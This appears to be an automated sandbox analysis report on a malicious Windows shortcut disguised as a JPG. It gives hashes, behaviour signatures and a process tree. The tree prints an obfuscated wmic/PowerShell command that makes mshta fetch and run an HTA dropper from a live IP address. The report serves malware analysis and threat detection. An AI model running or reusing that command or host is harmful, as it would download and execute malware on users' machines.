Analysis

  • max time kernel
    30s
  • max time network
    27s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/01/2025, 13:13

General

  • Target

    fake jpg shit.lnk

  • Size

    990B

  • MD5

    55f505fdd270f4f0d4c7e81774b1b3cc

  • SHA1

    3092ceda61f0a92602e2795638cd5e79af841271

  • SHA256

    3e4332ad46766087b51aac9c3150cf373da5cc12414a3f40668df718fa7ed2d6

  • SHA512

    54cfde5698c681b46afa6cd5ed436eadb76404d831ad112ac3a753f82a5725a5592d129c9fcbf870bb4d9bfee398869f653ca1dd74e06e7f6e71c2cca9bf6ee6

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://80.76.51.231/Samarik

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\fake jpg shit.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3336
    • C:\Windows\System32\Wbem\wmic.exe
      "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell iex '\*i*\S*3*\m*ta.e* https://80.76.51.231/Samarik' | powershell -"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:916
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell iex '\*i*\S*3*\m*ta.e* https://80.76.51.231/Samarik' | powershell -
    1⤵
    • Process spawned unexpected child process
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:456
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://80.76.51.231/Samarik
      2⤵
      • Blocklisted process makes network request
      • Downloads MZ/PE file
      PID:3064
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1160

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    3f01549ee3e4c18244797530b588dad9

    SHA1

    3e87863fc06995fe4b741357c68931221d6cc0b9

    SHA256

    36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a

    SHA512

    73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5p55bslc.42z.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/456-0-0x00007FF81A2E3000-0x00007FF81A2E5000-memory.dmp

    Filesize

    8KB

  • memory/456-1-0x00000202D0A90000-0x00000202D0AB2000-memory.dmp

    Filesize

    136KB

  • memory/456-11-0x00007FF81A2E0000-0x00007FF81ADA1000-memory.dmp

    Filesize

    10.8MB

  • memory/456-12-0x00007FF81A2E0000-0x00007FF81ADA1000-memory.dmp

    Filesize

    10.8MB

  • memory/456-35-0x00007FF81A2E0000-0x00007FF81ADA1000-memory.dmp

    Filesize

    10.8MB

  • memory/1160-23-0x0000024FFCE50000-0x0000024FFCE94000-memory.dmp

    Filesize

    272KB

  • memory/1160-24-0x0000024FFCF20000-0x0000024FFCF96000-memory.dmp

    Filesize

    472KB